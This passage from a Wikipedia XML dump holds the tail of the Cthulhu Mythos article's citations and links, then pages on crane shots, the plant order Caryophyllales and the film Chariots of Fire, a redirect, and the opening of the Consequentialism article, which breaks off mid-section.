 | title = &quot;Divers Hands&quot;
 | journal = Crypt of Cthulhu #80: A Post-structuralist Thriller and Theological Journal
 | year = Eastertide 1992
 | volume = 11 | issue = 2
 }} West Warwick, RI: Necronomicon Press.
* {{cite journal
 | last = Price | first = Robert M.
 | title = &quot;H. P. Lovecraft and the Cthulhu Mythos&quot;
 | journal = Crypt of Cthulhu #35: A Pulp Thriller and Theological Journal
 | year = Hallowmas 1985
 | volume = 5 | issue = 1
 }} Mount Olive, NC: Cryptic Publications.

===Web sites===
* {{cite web
 | last = Joshi
 | first = S. T
 | title = H. P. Lovecraft
 | work = The Scriptorium
 | url = http://www.themodernword.com/scriptorium/lovecraft.html
 | accessdate = July 20
 | accessyear = 2005
 }}
* {{cite web
 | last = Tremlett
 | first = J. Edward
 | title = A Color Out of Space, A Shadow Out of Time: H.P. Lovecraft &amp; His Works
 | url = http://www.nocturnis.net/articles/genwod/printable/51/page1.html
 | accessdate = October 14
 | accessyear = 2005
 }}

===Notes===
#{{Note|Harms-viii-a}}Harms, &quot;A Brief History of the Cthulhu Mythos&quot;, ''The Encyclopedia Cthulhiana'', pp. viii&amp;ndash;ix.
#{{Note|Joshi-31ff}}Joshi, &quot;The Lovecraft Mythos&quot;, ''H. P. Lovecraft'', pp. 31ff.
#{{Note|Joshi-50}}Although Lovecraft sometimes mentioned the &quot;Arkham cycle&quot; in his correspondence, he never explained its meanings; it is possible that he was referring to his stories that take place in his mythical [[New England]] setting. (Joshi &amp; Schultz, ''An H.P. Lovecraft Encyclopedia'', pp. 50.)
#{{Note|Joshi-51}}Lovecraft's flippant use of ''Yog-Sothothery''&amp;mdash;a veiled reference to [[Yog-Sothoth]], one of the mythical beings in his tales&amp;mdash;probably indicates that he never took his mythos very seriously. In a letter to [[Frank Belknap Long]] in early 1931, Lovecraft wrote &quot;that 'Yog-Sothoth' is a basically immature conception [and] unfitted for really serious literature&quot;. (Joshi &amp; Schultz, ''An H. P. Lovecraft Encyclopedia'', pp. 51.)
&lt;!--Lovecraft and the mythos--&gt;
#{{Note|Joshi-32}}Joshi's characterizations are a followup to George T. Wetzel's assertion that Lovecraft's mythos stories can be thought of as chapters of a long novel (Joshi, &quot;The Lovecraft Mythos&quot;, pp. 32). See also Wetzel's essay &quot;The Cthulhu Mythos: A Study&quot; (''H. P. Lovecraft: Four Decades of Criticism&quot;, pp. 79&amp;ndash;95).
#{{Note|Price1991-247B}}Price, &quot;Lovecraft's 'Artificial Mythology'&quot;, ''An Epicure in the Terrible'', pp. 247.
#{{Note|Price1996-xviii}}Price, &quot;Introduction&quot;, ''The New Lovecraft Circle'', pp. xviii&amp;ndash;xix. Price writes: &quot;One seeks forbidden knowledge, whether wittingly or, more likely, unwittingly, but one may not know till it is too late... The knowledge, once gained, is too great for the mind of man. It is [[Promethean]], [[Faustian]] knowledge. Knowledge that destroys in the moment of enlightenment, a [[Gnosis]] of damnation, not of salvation.&quot;
#{{Note|Price1991-249}}Price, &quot;Lovecraft's 'Artificial Mythology'&quot;, pp. 249.
#{{Note|Tremlett-tum}}Tremlett, 'The Unknown Mind', &quot;A Color Out of Space, A Shadow Out of Time: H.P. Lovecraft &amp; His Works&quot;.
#{{Note|Joshi-31}}Joshi, &quot;The Lovecraft Mythos&quot;, pp. 31.
&lt;!--Lovecraft's pantheon--&gt;
#{{Note|Shreffler-156a}}Shreffler, &quot;The Hierarchy of Monsters&quot;, ''The H. P. Lovecraft Companion'', pp. 156.
#{{Note|Dziemianowicz-44}}Dziemianowicz, &quot;Divers Hands&quot;, ''Crypt of Cthulhu #80'', pp. 44.
#{{Note|Shreffler-156b}}Shreffler, pp. 156&amp;ndash;7.
#{{Note|Shreffler-157}}Nodens, the Lord of the Abyss, holds a singular place in Lovecraft's writings because he is the only god to intervene on behalf of human beings. (Shreffler, pp. 158.) Examples of this are found in ''[[The Dream-Quest of Unknown Kadath]]'' (1926) and &quot;The Strange High House in the Mist&quot; (1931).
#{{Note|Mosig-24}}This view of the &quot;Elder Gods&quot; conflicts with those held by Dirk W. Mosig. In his essay &quot;H. P. Lovecraft: Myth-Maker&quot;, Mosig asserts that Lovecraft never intended the &quot;Elder Gods&quot; to be benign, protective deities; instead, they are actually ineffectual beings synonymous with Lovecraft's &quot;weak gods of the earth&quot;. (Mosig, &quot;H.P. Lovecraft: Myth-Maker&quot;, ''Mosig at Last'', pp. 24&amp;ndash;5.)
#{{Note|Shreffler-158}}Shreffler, pp. 158&amp;ndash;162.
#{{Note|Price1991-247T}}Price, &quot;Lovecraft's 'Artificial Mythology'&quot;, pp. 247.
&lt;!--Lovecraft's gods&amp;devils--&gt;
#{{Note|Price1991-248}}Price, &quot;Lovecraft's 'Artificial Mythology'&quot;, pp. 248&amp;ndash;50.
&lt;!--Arcane literature--&gt;
#{{Note|Lauterbach-96ff}}Edward Lauterbach, &quot;Some Notes on Cthulhuian Pseudobiblia&quot;, ''H. P. Lovecraft: Four Decades of Criticism'', pp. 96ff.
#{{Note|Lauterbach-96}}Ibid, pp. 96&amp;ndash;97.
#{{Note|Price1985-11}}Although Derleth claimed to have invented ''Cultes Des Goules'', Lovecraft refuted this and attributed the fictional tome to Robert Bloch&amp;mdash;a fact confirmed many years later by Bloch himself. (Price, &quot;H. P. Lovecraft and the Cthulhu Mythos&quot;, ''Crypt of Cthulhu #35'', pp. 11, footnote #11.)
&lt;!--The reader's response to the mythos--&gt;
#{{Note|SL3-166}}Lovecraft, ''Selected Letters III'', pp. 166.
#{{Note|Price1991Mariconda1995}}Price, &quot;Lovecraft's 'Artificial Mythology'&quot;, pp. 251, 253; Mariconda, &quot;Toward a Reader-Response Approach to the Lovecraft Mythos&quot;, pp. 33&amp;ndash;4.
&lt;!--Structure of the mythos--&gt;
#{{Note|Harms-viii-b}}Harms, &quot;A Brief History of the Cthulhu Mythos&quot;, pp. viii.
#{{Note|Lovecraft-tcoc}}Lovecraft, &quot;The Call of Cthulhu&quot; (1928).
#{{Note|Mosig-25}}Mosig argues that Cthulhu &quot;is perhaps one of the weakest and least important of the main entities [in the mythos]&amp;mdash;save for his immediacy&quot;. He also notes that in the Necronomicon passage in Lovecraft's &quot;The Dunwich Horror&quot; (1929), Cthulhu is demoted to &quot;their cousin&quot;. (Mosig, &quot;H.P. Lovecraft: Myth-Maker&quot;, ''Mosig at Last'', pp. 25.)
&lt;!--Derleth's involvement--&gt;
#{{Note|Bloch-9}}Bloch, &quot;Heritage of Horror&quot;, pp. 9.
#{{Note|Derleth-vii}}Derleth, &quot;The Cthulhu Mythos&quot;, ''Tales of the Cthulhu Mythos'', pp. vii.
&lt;!-- --&gt;
#{{Note|Joshi-II}}Joshi, ''The Scriptorium'', &quot;H. P. Lovecraft&quot;, section II.
#{{Note|Derleth-unknown}}This quote lacks a reference. You can improve this article by providing one.
# {{Note|Turner-x}}Turner, &quot;Iä! Iä! Cthulhu Fhtagn!&quot;, ''Tales of the Cthulhu Mythos'', pp. viii. Turner writes: &quot;Lovecraft's imaginary [[wikt:cosmogony|cosmogony]] was never a static system but rather a sort of [[wikt:aesthetic|aesthetic]] construct that remained ever adaptable to its creator's developing personality and altering interests... [T]here was never a rigid system that might be posthumously appropriated by the [[wikt:pasticheur|pasticheur]]... [T]he essence of the mythos lies not in a pantheon of imaginary deities nor in a cobwebby collection of forgotten tomes, but rather in a certain convincing cosmic attitude.&quot;
&lt;!-- --&gt;
#{{Note|Tremlett-tbq}}Tremlett, 'The Big Question', &quot;A Color Out of Space, A Shadow Out of Time: H.P. Lovecraft &amp; His Works&quot;.
&lt;!--Elemental theory--&gt;
#{{Note|Schultz-27}}Derleth created Cthugha when a fan, Francis T. Laney, pointed out that he had neglected to include a fire elemental in his schema. Laney, the editor of ''The Acolyte'', had categorized the mythos in an essay that first appeared in the Winter 1942 issue of the magazine. Impressed by the glossary, Derleth asked Laney to rewrite it for publication in the Arkham House collection ''Beyond the Wall of Sleep''. (Robert M. Price, &quot;Editorial Shards&quot;, ''Crypt of Cthulhu #32'', pp. 2.) Laney's essay (&quot;The Cthulhu Mythos&quot;) was later republished in ''Crypt of Cthulhu #32'' (1985).
#{{Note|Harms-101}}Harms, &quot;Elemental Theory&quot;, pp. 101.
&lt;!--conclusion--&gt;
#{{Note|Bloch-8}}Bloch, &quot;Heritage of Horror&quot;, pp. 8.
#{{Note|Joshi-I}}Joshi, ''The Scriptorium'', &quot;H. P. Lovecraft&quot;, section I.

==External links==
* [http://www.chaosium.com/ Chaosium homepage], publisher of the ''[[Call of Cthulhu (role-playing game)|Call of Cthulhu]]'' role-playing game
* [http://www.clare.ltd.new.net/cryptofcthulhu/ Crypt of Cthulhu], online version of the [[magazine]]
* [http://www.catb.org/~esr/jargon/html/C/cthulhic.html cthulhic],  entry in the Jargon File
* [http://www.cthuugle.com/ Cthuugle], the H.P. Lovecraft search engine
* [http://www.hplovecraft.com/ The H.P. Lovecraft Archive]
* [http://www.geocities.com/SoHo/9879/lurker.htm The Lurker at the Threshold of Interpretation: Necronomicon Hoaxes and Paratextual Noise]
* [http://members.fortunecity.com/johnsilence/issue.htm Mythos Online], short stories relating to the Cthulhu mythos
* [http://www.necfiles.org/mythos.htm The Official Cthulhu Mythos FAQ], by Daniel Harms
* [http://www.epberglund.com/RGttCM/contents.htm Reader's Guide to the Cthulhu Mythos], maintained by E.P. Berglund
* [http://members.shaw.ca/csstrowbridge/Tulzscha/MainPage.htm Servants of Tulzscha], information about the gods and creatures of the Cthulhu mythos
* [http://www.shoggoth.net/ Shoggoth.net], a Cthulhu mythos [[blog]]
* [http://www.templeofdagon.com/ The Temple of Dagon], general Lovecraftian information and repository for Cthulhu mythos stories by modern writers
* [http://lovecraft.cjb.net The ULTIMATE Cthulhu Mythos Book List], listing of all mythos novels, anthologies, collections, comic books, and more
* [http://www.macguff.fr/goomi/unspeakable/home.html Unspeakable Vault (of Doom)], WebComic drawn by French artist Francois Launet
* [http://yog-sothoth.com Yog-Sothoth.com], a discussion site about the Call of Cthulhu role-playing game

==Further reading==
* {{cite book
 | last = Carter
 | first = Lin
 | authorlink = Lin Carter
 | title = Lovecraft: A Look Behind the Cthulhu Mythos
 | location = New York, NY
 | publisher = Ballantine Books
 | date = 1972
 | id = ISBN 0-345-25295-0-150
 }}

[[Category:Cthulhu mythos| ]]

[[de:Cthulhu-Mythos]]
[[es:Mitos de Cthulhu]]
[[fi:Cthulhu-mytologia]]
[[fr:Mythe de Cthulhu]]
[[ja:クトゥルフ神話]]
[[ko:크툴후 신화]]
[[pt:Cthulhu Mythos]]
[[sv:Cthulhu-mytologin]]
[[zh:克蘇魯神話]]</text>
    </revision>
  </page>
  <page>
    <title>Crane shot</title>
    <id>5726</id>
    <revision>
      <id>31871580</id>
      <timestamp>2005-12-18T18:59:39Z</timestamp>
      <contributor>
        <username>Eric Burns</username>
        <id>130050</id>
      </contributor>
      <comment>Added SCTV &quot;crane shot&quot; references and humor</comment>
      <text xml:space="preserve">In [[motion picture terminology]], a '''crane shot''' is a shot taken by a camera on a crane. The most obvious uses are to view the actors from above or to move up and away from them, a common way of ending a movie. But some filmmakers like to have the camera on a boom arm just to make it easier to move around between ordinary set-ups. Most cranes accommodate both the camera and an operator, but some can be operated by remote control--there are some spectacular shots using remote cranes in the car-chase sequence of ''[[To Live and Die in L.A.]]''.

The [[Western (genre)|Western]] ''[[High Noon (1952 film)|High Noon]]'' had a famous crane shot. The shot backs up and raises, and we see Marshal Will Kane totally alone and isolated on the street. 

The television comedy [[Second City Television| SCTV]] uses the very concept of the crane shot as comedic material. After using a crane shot in one of the first NBC produced episodes, the network complained about the exorbitant cost of renting the crane. SCTV writers responded by making the &quot;crane shot&quot; a ubiquitous symbol of production excess while also lampooning network executives who care nothing about artistic vision and everything for the bottom line. At the end of the second season, an inebriated [[Johnny LaRue]] is given his very own crane by Santa Claus, implying he would be able to have a crane shot whenever he wanted it.

{{filming-stub}}

[[Category: Film techniques]]</text>
    </revision>
  </page>
  <page>
    <title>Caryophyllales</title>
    <id>5727</id>
    <revision>
      <id>37288656</id>
      <timestamp>2006-01-30T01:03:19Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Caryophyllales
| image = White campion close 700.jpg
| image_width = 250px
| image_caption = ''Silene latifolia'' - family Caryophyllaceae
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = '''Caryophyllales'''
| ordo_authority = Perleb
| subdivision_ranks = Families
| subdivision = 
See text.
}}

The '''Caryophyllales''' are an order of [[flowering plant]]s. APG includes a number of families, most of which belong to two distinct subgroups. The core Caryophyllales comprise the following:

* Family [[Caryophyllaceae]] ([[carnation]] family)
* Family [[Amaranthaceae]] ([[amaranth]] family)
* Family [[Achatocarpaceae]]
* Family [[Stegnospermataceae]]
* Family [[Barbeuiaceae]]
* Family [[Aizoaceae]] (Fig-marigold family)
* Family [[Phytolaccaceae]] ([[pokeweed]] family)
* Family [[Sarcobataceae]] ([[greasewood]] family)
* Family [[Nyctaginaceae]] ([[four-o'clock]] family)
* Family [[Molluginaceae]] (carpetweed family)
* Family [[Cactaceae]] ([[cactus]] family)
* Family [[Portulacaceae]] ([[purslane]] family)
* Family [[Basellaceae]] ([[basella]] family)
* Family [[Asteropeia]]ceae
* Family [[Physena]]ceae

Except for the last two families, this group corresponds directly to the Caryophyllales under the older [[Cronquist system]]. There are some slight variations in what families are recognized, between these and other classifications. Both the Stegnospermataceae and Barbeuiaceae are included in Cronquist's Phytolaccaceae, while his Didieraceae is included in the more recent Portulaceae, and his Chenopodiaceae corresponds to the Sarcobataceae plus some of the Amaranthaceae. The Asteropeiaceae and Physenaceae each contain a single genus, which Cronquist placed in the [[Theaceae]] and [[Capparidaceae]], respectively.

The other major group of Caryophyllales comprises the following families:

* Family [[Polygonaceae]] ([[buckwheat]] family)
* Family [[Plumbaginaceae]] ([[plumbago (plant)|plumbago]] family)
* Family [[Frankeniaceae]]
* Family [[Tamaricaceae]] ([[Tamarix]] family)
* Family [[Droseraceae]] ([[sundew]] family)
* Family [[Nepenthaceae]]
* Family [[Drosophyllaceae]]
* Family [[Ancistrocladaceae]]
* Family [[Dioncophyllaceae]]

Cronquist gave the Polygonaceae and Plumbaginaceae their own orders, which together with his Caryophyllales made up the subclass [[Caryophyllida]]e. The Droseraceae and Nepenthaceae (including the Drosophyllaceae) made up the order [[Nepenthales]], together with the [[Sarraceniaceae]], and the remaining families were placed among the [[Violales]], both of which were included among the [[Dilleniidae]].

Two other families are included in the Caryophyllales, which do not fall into either of the above groups:

* Family [[Simmondsiaceae]] (jojoba, also placed in [[Malpighiales]] next to [[Buxaceae]])
* Family [[Rhabdodendraceae]]

[[Category:Caryophyllales]]

[[da:Nellike-ordenen]]
[[de:Nelkenartige]]
[[es:Caryophyllales]]
[[fr:Caryophyllales]]
[[la:Caryophyllales]]
[[nl:Caryophyllales]]
[[ja:ナデシコ目]]
[[no:Caryophyllales]]
[[pl:Goździkowce]]
[[pt:Caryophyllales]]
[[fi:Caryophyllales]]
[[zh:石竹目]]</text>
    </revision>
  </page>
  <page>
    <title>Chariots of Fire</title>
    <id>5729</id>
    <revision>
      <id>41845354</id>
      <timestamp>2006-03-02T02:51:03Z</timestamp>
      <contributor>
        <username>Savidan</username>
        <id>677067</id>
      </contributor>
      <comment>add best picture template</comment>
      <text xml:space="preserve">{{Infobox Film | name = Chariots of Fire
  | image = Chariots_of_fire.jpg
  | caption = Poster of ''Chariots of Fire'' ([[1981]])
  | director = [[Hugh Hudson]] 
  | producer = [[David Puttnam]]	
  | writer = [[Colin Welland]]
  | starring =[[Ben Cross]]&lt;br&gt;[[Ian Charleson]]&lt;br&gt;[[Nigel Havers]]&lt;br&gt;[[Cheryl Campbell]]&lt;br&gt;[[Alice Krige]]
  | music = [[Vangelis]]	
  | cinematography = 
  | editing =
  | distributor = [[20th Century Fox]]
  | released = March, [[1981 in film|1981]] (U.K. release)
  | runtime = 123 min   
  | language = English
  | budget = $5,500,000
  | imdb_id = 0082158
}}
'''''Chariots of Fire''''' is a [[United Kingdom|British]] [[film]] released in [[1981]].  Written by [[Colin Welland]] and directed by [[Hugh Hudson]], and based on the true story of British athletes preparing for and competing in the [[1924 Summer Olympics]], the film was nominated for seven [[Academy Award]]s, and won four, including [[Academy Award for Best Picture|Best Picture]].  The title is taken from [[William Blake]]'s poem &quot;[[And did those feet in ancient time|The New Jerusalem]]&quot;:
:'''Bring me my bow of burning gold!'''
::'''Bring me my Arrows of Desire!'''
:'''Bring me my spear! O clouds, unfold!'''
::'''Bring me my Chariot of Fire!'''

==Plot==
{{spoiler}}

The movie is based on the true story of two British [[athlete]]s competing in the [[1924 Summer Olympics]] in [[Paris]]. [[England|Englishman]] [[Harold Abrahams]] (played by [[Ben Cross]]), who is [[Jew]]ish, overcomes [[anti-Semitism]] and class prejudice in order to compete against the &quot;Flying Scotsman,&quot; [[Eric Liddell]] ([[Ian Charleson]]) in the 100 m race.  However, Liddell drops out of the event because his [[Christianity|Christian convictions]] prevent him from running on a [[sabbath|Sunday]].  Liddell is allowed to compete in the 400 m race instead.  The story is deceptively complex and compares the similar athletic experiences of Abrahams and Liddell while portraying their vastly different characters and reactions to adversity.

==Historical accuracy==

[[Image:TrinityCollegeCamGreatCourt.jpg|thumb|right|250px|The Great Court, Trinity College, Cambridge]]

One scene in the film recreates a race in which the runners attempt to round the perimeter of the [[Trinity Great Court|Great Court]] at [[Trinity College, Cambridge]] in the time it takes the clock to double strike the hour at midday.  The scene was actually filmed at [[Eton College|Eton]].

{{listen|filename=Trinity Great Court noon chime 0291.ogg|title=Trinity Great Court noon chime|description=|format=[[Ogg]]}}

The only people believed to have actually completed the run around the Great Court in time are [[David Burghley|Lord Burghley]] in [[1927]] and [[Sebastian Coe]] in October [[1988]] when he beat [[Steve Cram]] in a charity race.

A major historic inaccuracy in the movie surrounds Liddell's refusal to race in the 100 metres. The film portrays Liddell as finding out that one of the heats was to be held on a Sunday as he was boarding the boat that would take the British Olympic team across the [[English Channel]] on their way to Paris.  In fact, the schedule was made public several months in advance, and Liddell spent the remaining months training for the 400 m, an event in which he had previously excelled. 

A scene exists in the movie wherein Liddell is thrown down early in a [[Scotland]]&amp;ndash;[[France]] 400 m duel, but recovers to make up a 20 m deficit to win the race.  ''This really happened.''

Abrahams was an outsider for the medals at the 1924 Olympics, but won the 100 m, beating all the American favourites including [[Jackson Scholz]] and [[Charlie Paddock]].  In the 200 m, he reached the final, but finished sixth (last). Eric Liddell also ran the 200 m, and finished third. As an opening runner for the 4 x 100 m relay team, Abrahams won a second Olympic medal, a [[silver medal|silver]].

[[Arthur Porritt, Baron Porritt|Arthur Porritt]] represented [[New Zealand]] at the 1924 Summer Olympics, winning a bronze medal in the 100 m, but he refused permission for his real name to be used in the film, allegedly out of modesty.  The bronze medalist was portrayed in the film by a fictional character, Tom Watson.

The character Lord Lindsay is very loosely based on [[David Burghley|Lord Burghley]] who was actually eliminated in the heats of 110 metres hurdles in the 1924 Olympics. He did not give up his place in the 400 metres for Liddle.  Lord Burghley refused to cooperate with the film because he feared inaccuracies and so a fictitious name was used.

==Music==
The original music, which won the movie an Academy Award, was composed by [[Vangelis]], who employed [[synthesizer]] and [[piano]] among other instruments. The main theme has proven a popular and memorable tune. It has been used in both sincere ways and in parody. Near the end of ''[[National Lampoon's Vacation]]'' (1983), the family is happily running toward the gate of &quot;Wally World&quot; in slow motion footage under the theme music... much like the beginning (and ending) sequence of ''Chariots of Fire''.

One traditional work was a British choir singing &quot;[[And did those feet in ancient time|Jerusalem]]&quot; at the 1978 funeral of Harold Abrahams, the event which bookended and presumably inspired the making of the film.

== Miscellany ==
During the [[1984]] [[Summer Olympic Games]], an [[American Express]] credit card commercial (&quot;Don't leave home without it&quot;) included Ben Cross and the 87-year-old Jackson Scholz. When Cross says something about beating Scholz, the latter remarks, &quot;''You'' never beat me!&quot; with mock indignation. Proving he is &quot;still pretty fast,&quot; Scholz beats Cross to the draw in picking up the tab with his credit card.

The English [[rugby league]] player [[Martin Offiah]] was nicknamed 'Chariots' after the film.

A plaque commemorating the filming of the famous beach scenes associated with the theme tune can be found at the end of West Sands in [[St. Andrews]] where filming for these scenes took place.
==Awards and popularity==
===[[Academy Award]]s (1981)===
* [[Academy Award for Best Picture|Best Picture]] - [[David Puttnam]], [[Film producer|producer]] - won
* [[Academy Award for Original Music Score|Original Music Score]] - [[Vangelis]] - won
* [[Academy Award for Writing Original Screenplay|Writing Original Screenplay]] - [[Colin Welland]] - won
* [[Academy Award for Costume Design|Costume Design]] - [[Milena Canonero]] - won
* [[Academy Award for Best Supporting Actor|Best Supporting Actor]] - [[Ian Holm]] - nominated
* [[Academy Award for Directing|Directing]] - [[Hugh Hudson]] - nominated
* [[Academy Award for Film Editing|Film Editing]] - [[Terry Rawlings]] - nominated
===[[Cannes Film Festival]] (1981)===
* Best Supporting Actor - Ian Holm - won
* Prize of the Ecumenical Jury - Special Mention - Hugh Hudson - won
* [[Palme d'Or]] (Golden Palm) - Hugh Hudson - nominated
===[[BAFTA Awards]]===
* [[BAFTA Award for Best Film]] (1981) - won

===[[Grammy Award]] (1983)===
* [[Grammy Award for Best Pop Instrumental Performance|Best Pop Instrumental Performance]] - [[Ernie Watts]] for &quot;''Chariots of Fire'' Theme (Dance Version)&quot; - won
===Ranking on popular lists===
* [[BFI Top 100 British films]] (1999) - rank 19
* [[Hot 100 No. 1 Hits of 1982 (USA)]] ([[May 8]]) - Vangelis, ''Chariots of Fire'' theme

==Selected cast==
* [[Ben Cross]] - [[Harold Abrahams]]
* [[Ian Charleson]] - [[Eric Liddell]]
* [[Ian Holm]] - [[Sam Mussabini]], Abrahams's coach
* [[Alice Krige]] - Sybil Gordon, Abrahams's wife (her actual name was [[Sybil Evers]])
* [[Nicholas Farrell]] - [[Aubrey Montague]]
* [[Cheryl Campbell]] - [[Jennie Liddell]]
* [[John Gielgud]] - The Master of [[Trinity College, Cambridge|Trinity]]
* [[Lindsay Anderson]] - The Master of [[Gonville and Caius College, Cambridge|Caius]]
* [[Nigel Havers]] - Lord Andrew Lindsay, loosely based on [[David Cecil, 6th Marquess of Exeter|Lord Burghley]], who did not consent to his name being used in the film
* [[Daniel Gerroll]] - [[Henry Stallard]]
* [[Nigel Davenport]] - [[F. E. Smith, 1st Earl of Birkenhead|Lord Birkenhead]]
* [[Dennis Christopher]] - American sprinter [[Charlie Paddock]]
* [[Brad Davis (actor)|Brad Davis]] - American sprinter [[Jackson Scholz]]
* [[Patrick Magee (actor)|Patrick Magee]] - [[Gerald Cadogan, 6th Earl Cadogan|Lord Cadogan]]
* [[Peter Egan]] - [[George Sutherland-Leveson-Gower, 5th Duke of Sutherland|The Duke of Sutherland]]
* [[Struan Rodger]] - [[Sandy McGrath]]
* [[David Yelland (actor)|David Yelland]] - [[Edward VIII of the United Kingdom|The Prince of Wales]]
* [[Yves Beneyton]] - [[George Andre]]
* [[Jeremy Sinden]] - President of the [[Gilbert &amp; Sullivan Society]]
* [[Gordon Hammersley]] - President of the [[Cambridge Athletic Club]]
* [[Andrew Hawkins]] - Secretary of the Gilbert &amp; Sullivan Society
* [[Richard Griffiths]] - Head Porter of Caius
* [[John Young]] - The Reverend J. D. Liddell
* [[Benny Young]] - Rob Liddell
* [[Yvonne Gilan]] - Mrs Liddell
* [[Jack Smethurst]] - Sleeping car attendant
* [[Gerry Slevin]] - [[John Keddie|Colonel John Keddie]]
* [[Peter Cellier]] - Head waiter at the [[Savoy Hotel|Savoy]]
* [[Stephen Mallatratt]] - Watson, based on [[Arthur Porritt, Baron Porritt|Arthur Porritt]]

==Other crew==

===Producers===
* [[James Crawford]] - [[associate producer]]
* [[Jake Eberts]] - [[executive producer]]
* [[Dodi Fayed]] - executive producer
* [[David Puttnam]] - [[Film producer|producer]]
 
==Filming locations==
* [[West Sands Beach]] at [[St Andrews]], [[Scotland]] (beach running scenes)
* [[Eton College]] (race around the quad)
* [[The Oval Sports Centre]], [[Bebington]], [[Merseyside]], [[England]] (presented as 1924 [[Colombes]] Olympic Stadium)

==See also==
* [[Sabbath breaking]]
* [[Philip Noel-Baker]]

==External links==
*{{imdb title|id=0082158|title=Chariots of Fire}}
*[http://www.trin.cam.ac.uk/index.php?pageid=378 Great Court Run]
*[http://www.bbc.co.uk/radio4/history/reunion/reunion2.shtml BBC Radio 4 - The Reunion: Chariots of Fire] In August 2003, actors Ben Cross and Nigel Havers, director Hugh Hudson, writer Colin Welland, and producer David Puttnam discussed the movie in a 45-minute radio interview. Requires [http://www.real.com RealPlayer] to listen.
*''[http://artsandfaith.com/t100/2005/entry.php?film=14 Chariots of Fire]'' at the [http://www.artsandfaith.com/t100/ Arts &amp; Faith Top100 Spiritually Significant Films] list

{{start box}}
{{succession box
| title=[[Academy Award for Best Picture]]
| years=1981
| before=''[[Ordinary People]]''
| after=''[[Gandhi (film)|Gandhi]]''
}}
{{end}}

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[[Category:1981 films]]
[[Category:British films]]
[[Category:Sports films]]
[[Category:Films based on actual events]]
[[Category:Best Picture Oscar]]
[[Category:Best Supporting Actor Oscar Nominee (film)]] &lt;!-- Ian Holm --&gt;
[[Category:Vangelis]]
[[Category:Warner Bros. films]]
[[Category:Period films]]

[[de:Die Stunde des Siegers]]
[[es:Carros de Fuego]]
[[fr:Les Chariots de feu (film)]]
[[ja:炎のランナー]]
[[pl:Rydwany ognia]]
[[pt:Chariots of Fire]]</text>
    </revision>
  </page>
  <page>
    <title>Capitalist</title>
    <id>5731</id>
    <revision>
      <id>15903928</id>
      <timestamp>2005-06-01T02:13:10Z</timestamp>
      <contributor>
        <username>RJII</username>
        <id>141644</id>
      </contributor>
      <comment>redirect to [[capitalism]] article whose intro notes the usage of &quot;capitalist&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[capitalism]]</text>
    </revision>
  </page>
  <page>
    <title>Consequentialism</title>
    <id>5734</id>
    <revision>
      <id>41565113</id>
      <timestamp>2006-02-28T04:35:41Z</timestamp>
      <contributor>
        <username>Ig0774</username>
        <id>596872</id>
      </contributor>
      <comment>/* Varities of Consequentialism */ &amp;mdash; is that too verbose?</comment>
      <text xml:space="preserve">'''Consequentialism''' is a broad term which refers to moral theories that hold that the consequences which result from a particular action or policy are the basis for any valid moral judgement about that action or policy. Thus, on a consequentialist account, moral action aims to produce good consequences.

==Defining consequentialism==
Consequentialism, as its name suggests, focuses on the outcomes of actions, emphasizing the results rather than the kinds of acts involved. The term &quot;consequentialism&quot; itself was coined by [[G.E.M. Anscombe]] in her essay &quot;Modern Moral Philosophy&quot; in 1958, but has since become common within the ethical discourse of [[analytic philosophy]]. As an ethical theory, it is generally traced back to [[utilitarianism]], but earlier ethical theorists often considered the consequences of actions relevant to ethical deliberation.

Apart from this basic outline, there is a great deal of debate among philosophers as to what precisely constitutes &quot;consequentialism&quot;. However, there are some general themes that reappear in a number of consequentialist theories. Some points that most, if not all, consequentialist theories consider are:

* What determines the value of consequences? In other words, what counts as good?
* Who or what is the primary beneficiary of moral action? 
* Who or what is the agent of a moral action?
* What is the relationship between the good and the right? How does right action follow from what counts as good?

===What kinds of consequences===
One way to divide various consequentialisms is by the types of consequences that are taken to matter most, that is, which consequences are truly taken to be productive of good states of affairs. 

For example, according to hedonistic utilitarianism, a good action is one that results in net pleasure, and the best action is one that results in more net pleasure than any of the alternatives. Closely related is eudaimonic consequentialism, according to which afull, flourishing life (which may or may not be the same as enjoying a great deal of pleasure) is the ultimate aim. Similarly, one might adopt an aesthetic consequentialism, in which the ultimate aim is to produce beauty.

However, one might fix on non-psychological goods as the relevant consequences. Certain theories regard gains in [[Equality of outcome|material equality]] or [[Freedom (political)|political liberty]] as desirable in themselves, regardless of other consequences.

A theory might even adopt a package of several goods, all to be promoted equally. Since there would be no overarching consequence to aim for, conflicts between goods are to be adjudicated not by some ultimate consequentialist principle, but by the fine contextual discernment and intuition of the agent. However, even in a consequentialist system that focuses on a single type of good, such conflicts and tensions are to be expected.

===Consequences for whom===
Consequences always have an effect on certain people or things. Various kinds of consequentialism can be distinguished by the beneficiary of the action. That is, one might ask &quot;Consequences for whom?&quot;

====Agent-Centered or Agent Neutral====

A fundamental distinction along these lines might be between theories that demand that agents act for ends in which they have some [[personal interest]] and [[motivation]] (actually or counterfactually) and theories that demand that agents act for ends perhaps disconnected from their own interests and drives. These are termed agent-centered and agent-neutral theories.

Agent-neutral consequentialism ignores the specific value given to an action by particular agents. Thus, in an agent-neutral theory, my own personal aims do not count any more than anyone else's. Agent-centered consequentialism, on the other hand, focuses on the needs of particular people, most likely the agent involved. Thus, in an agent-centered account, such as Peter Railton's{{smref|Sch1}}, I might be concerned with the general welfare, but I am more concerned with the immediate welfare of myself and my friends and family.

Not all &quot;agent-neutral&quot; consequentialist theories totally ignore the beneficiary of the action. For example, it is probably a better thing (on at least some accounts) to feed someone who is starving than to feed someone who has more than enough to eat. The key to this distinction is that what counts is not the particular beneficiary, but as some characteristic of that beneficiary.

A conciliatory approach is to acknowledge the tension between an agent's interests as an individual and as a member of various groups, seeking to optimize among all of them.  In other words, it can be meaningful to speak of an action as being good for someone as an individual but bad for them as a citizen of their town.

====Human-centered?====

Most consequentialist theories seem primarily concerned with human beings and their relationships with other human beings. However, some philosophers would say that we should not limit our consideration just to the interests of human beings. 

